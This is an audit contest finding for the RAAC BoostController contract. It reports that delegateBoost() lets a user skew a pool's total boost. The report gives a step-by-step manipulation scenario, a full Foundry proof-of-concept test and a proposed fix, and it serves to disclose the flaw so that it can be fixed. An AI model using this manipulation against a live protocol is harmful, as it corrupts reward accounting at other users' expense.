Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

The total boost amount for a pool can be manipulated

Summary

The total boost amount for a pool can be manipulated.

Vulnerability Details

When update the boost value for a user in a specific pool, the total boost amount for the pool is calculated based on the user's old boost amount and new boost amount which are also updated in the same function.

BoostController::updateUserBoost()

UserBoost storage userBoost = userBoosts[user][pool];
PoolBoost storage poolBoost = poolBoosts[pool];
uint256 oldBoost = userBoost.amount;
// Calculate new boost based on current veToken balance
uint256 newBoost = _calculateBoost(user, pool, 10000); // Base amount
userBoost.amount = newBoost;
userBoost.lastUpdateTime = block.timestamp;
// Update pool totals safely
if (newBoost >= oldBoost) {
@> poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
@> poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}

It is expected that poolBoost.totalBoost is correctly updated no matter how use's boost amount changes, however, userBoosts[user][pool] can also be updated in delegateBoost(), and poolBoost.totalBoost can be manipulated by a malicious user and become inconsistent.

BoostController::delegateBoost()

UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
@> delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;

(Note: There is another issue in updateUserBoost() that a hardcoded value is used for calculation, the description is based on the mitigation of that issue)

BoostController.sol#L187

// Calculate new boost based on current veToken balance
- uint256 newBoost = _calculateBoost(user, pool, 10000); // Base amount
+ uint256 newBoost = _calculateBoost(user, pool, IERC20(address(veToken)).balanceOf(user)); // Base amount

Consider the following scenairo:

  1. Both Alice and Bob holds 100 veRAAC tokens, and the total supply is 200;

  2. Alice calls updateUserBoost() to update her boost value for a pool, her boost mulitplier is 17500 (see BoostCalculator.calculateTimeWeightedBoost()), therefore poolBoost.totalBoost is updated to 175e18;

  3. Bob calls delegateBoost() to delegate to the same pool Alice boosted, userBoosts[Bob][pool] is updated to 100e18;

  4. Later Bob withdraws all his locked RAAC tokens and mints 1 wei veRAAC token by relocking 1 wei in veRAACToken;

  5. Bob calls updateUserBoost() to update his boost value for a pool, his boost mulitplier is 10000 so newBoost is 1, because userBoosts[Bob][pool] has already been updated before, even it's the first time Bob's boost amount is updated for the pool, the oldBoost is not 0 but 100e18;

  6. Now poolBoost.totalBoost is updated to 75e18 + 1 (175e18 - 100e18 + 1).

The 75e18 + 1 is wrong as there are 2 incorrect accounting:

  1. userBoosts[Bob][pool] is updated in delegateBoost() but poolBoosts[pool].totalBoost is not (hower poolBoost.totalBoost is updated in removeBoostDelegation());

  2. userBoosts[Bob][pool] updated in delegateBoost() is not boosted by boost multiplier whereas poolBoosts[pool].totalBoost is a boosted value;

The same issue exists in

Impact

The total boost amount for a pool can be manipulated.

POC

  1. Fix the aforementioned issue;

  2. Run forge test --mt testAudit_PoolTotalBoostMisAccounting.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DeToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/tokens/veRAACToken.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/core/collectors/FeeCollector.sol";
import "../contracts/core/collectors/Treasury.sol";
import "../contracts/core/governance/proposals/Governance.sol";
import "../contracts/core/governance/proposals/TimelockController.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "../contracts/mocks/core/pools/MockPool.sol";
contract Audit is Test {
using WadRayMath for uint256;
using SafeCast for uint256;
address owner = makeAddr("Owner");
address repairFund = makeAddr("RepairFund");
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices raacHousePrices;
crvUSDToken crvUSD;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
RAACNFT raacNft;
veRAACToken veRaacToken;
RAACMinter raacMinter;
FeeCollector feeCollector;
Treasury treasury;
Governance governance;
TimelockController timelockController;
BoostController boostController;
function setUp() public {
vm.warp(1 days);
vm.startPrank(owner);
raacHousePrices = new RAACHousePrices(owner);
// Deploy tokens
raacToken = new RAACToken(owner, 100, 50);
veRaacToken = new veRAACToken(address(raacToken));
crvUSD = new crvUSDToken(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
// Deploy Treasury and FeeCollector
treasury = new Treasury(owner);
feeCollector = new FeeCollector(
address(raacToken),
address(veRaacToken),
address(treasury),
repairFund,
owner
);
// Deploy LendingPool
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
// Deploy stabilityPool Proxy
bytes memory data = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(owner),
address(crvUSD),
address(lendingPool)
);
address stabilityPoolProxy = address(
new TransparentUpgradeableProxy(
address(new StabilityPool(owner)),
owner,
data
)
);
stabilityPool = StabilityPool(stabilityPoolProxy);
// RAACMinter
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
// Governance
address[] memory proposers;
address[] memory executors;
timelockController = new TimelockController(2 days, proposers, executors, owner);
governance = new Governance(address(veRaacToken), address(timelockController));
// Boost
boostController = new BoostController(address(veRaacToken));
// Initialization
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
lendingPool.setStabilityPool(address(stabilityPool));
raacToken.setMinter(address(raacMinter));
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(raacMinter), true);
raacToken.manageWhitelist(address(stabilityPool), true);
raacToken.manageWhitelist(address(veRaacToken), true);
timelockController.grantRole(keccak256("PROPOSER_ROLE"), address(governance));
timelockController.grantRole(keccak256("EXECUTOR_ROLE"), address(governance));
timelockController.grantRole(keccak256("CANCELLER_ROLE"), address(governance));
timelockController.grantRole(keccak256("EMERGENCY_ROLE"), address(governance));
vm.stopPrank();
vm.label(address(crvUSD), "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(deToken), "DEToken");
vm.label(address(raacToken), "RAACToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
vm.label(address(stabilityPool), "StabilityPool");
vm.label(address(raacMinter), "RAACMinter");
vm.label(address(veRaacToken), "veRAAC");
vm.label(address(feeCollector), "FeeCollector");
vm.label(address(treasury), "Treasury");
vm.label(address(governance), "Governance");
vm.label(address(timelockController), "TimelockController");
vm.label(address(boostController), "BoostController");
}
function testAudit_PoolTotalBoostMisAccounting() public {
MockPool pool = new MockPool();
vm.prank(owner);
boostController.modifySupportedPool(address(pool), true);
// Bob mints veRAAC tokens
uint256 bobLockAmount = 100e18;
address bob = makeAddr("Bob");
deal(address(raacToken), bob, bobLockAmount);
vm.startPrank(bob);
raacToken.approve(address(veRaacToken), bobLockAmount);
veRaacToken.lock(bobLockAmount, 1460 days);
vm.stopPrank();
vm.warp(block.timestamp + 1460 days);
// Alice mints veRAAC tokens
uint256 aliceLockAmount = 100e18;
address alice = makeAddr("Alice");
deal(address(raacToken), alice, aliceLockAmount);
vm.startPrank(alice);
raacToken.approve(address(veRaacToken), aliceLockAmount);
veRaacToken.lock(aliceLockAmount, 1460 days);
vm.stopPrank();
assertEq(veRaacToken.balanceOf(alice), 100e18);
assertEq(veRaacToken.balanceOf(bob), 100e18);
// Updates the boost value for Alice in pool
boostController.updateUserBoost(alice, address(pool));
{
(uint256 totalBoost,,,) = boostController.getPoolBoost(address(pool));
assertEq(totalBoost, 175e18);
}
vm.startPrank(bob);
boostController.delegateBoost(address(pool), veRaacToken.balanceOf(bob), 7 days);
{
(uint256 amount,,,) = boostController.getUserBoost(bob, address(pool));
// Not boosted
assertEq(amount, 100e18);
}
veRaacToken.withdraw();
raacToken.approve(address(veRaacToken), 1);
veRaacToken.lock(1, 1460 days);
vm.stopPrank();
boostController.updateUserBoost(bob, address(pool));
{
(uint256 amount,,,) = boostController.getUserBoost(bob, address(pool));
assertEq(amount, 1);
(uint256 totalBoost,,,) = boostController.getPoolBoost(address(pool));
assertEq(totalBoost, 75e18 + 1);
}
}
}

Tools Used

Manual Review

Recommendations

When calls delegateBoost(), if to is a supported pool, boost the delegated amount and update poolBoosts[pool].totalBoost.

function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
revert InvalidDelegationDuration();
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
+ if (supportedPools[to]) {
PoolBoost storage poolBoost = poolBoosts[to];
_updateUserBoost(msg.sender, to); // internal function to update use boost
} else {
+ delegation.amount = amount;
}
- delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController removes pool boost on delegation removal without adding it on delegation creation, leading to accounting inconsistencies and potential underflows

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController removes pool boost on delegation removal without adding it on delegation creation, leading to accounting inconsistencies and potential underflows

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.